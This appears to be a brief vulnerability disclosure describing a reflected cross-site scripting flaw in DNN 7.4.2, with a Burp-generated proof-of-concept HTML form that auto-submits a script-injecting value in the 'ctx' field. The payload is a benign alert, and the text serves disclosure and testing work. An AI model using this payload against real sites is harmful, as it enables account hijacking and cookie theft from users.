Issue: Reflected cross site scripting (XSS)
An XSS victim could have his account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. XSS attacks essentially compromise the trust relationship between a user and the web site. It should be noted that reflected XSS attacks require a user to visit a specially crafted link laced with malicious code. Upon visiting the link, the code embedded in the URL will be echoed
and executed within the user's web browser.
We used the following script to test the XSS issue on DNN 7.4.2
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form name="abc" action="http://www.domain.com/dnn/default.asp..." method="POST">
<input type="hidden" name="ctx" value=""><scRipt>alert('xss')</scRipt>" />
<input type="hidden" name="__DNNCAPISCI" value="FAQs dnn_ctr487_FAQs" />
<input type="hidden" name="__DNNCAPISCP" value="3" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
document.abc.submit();
</script>
</html>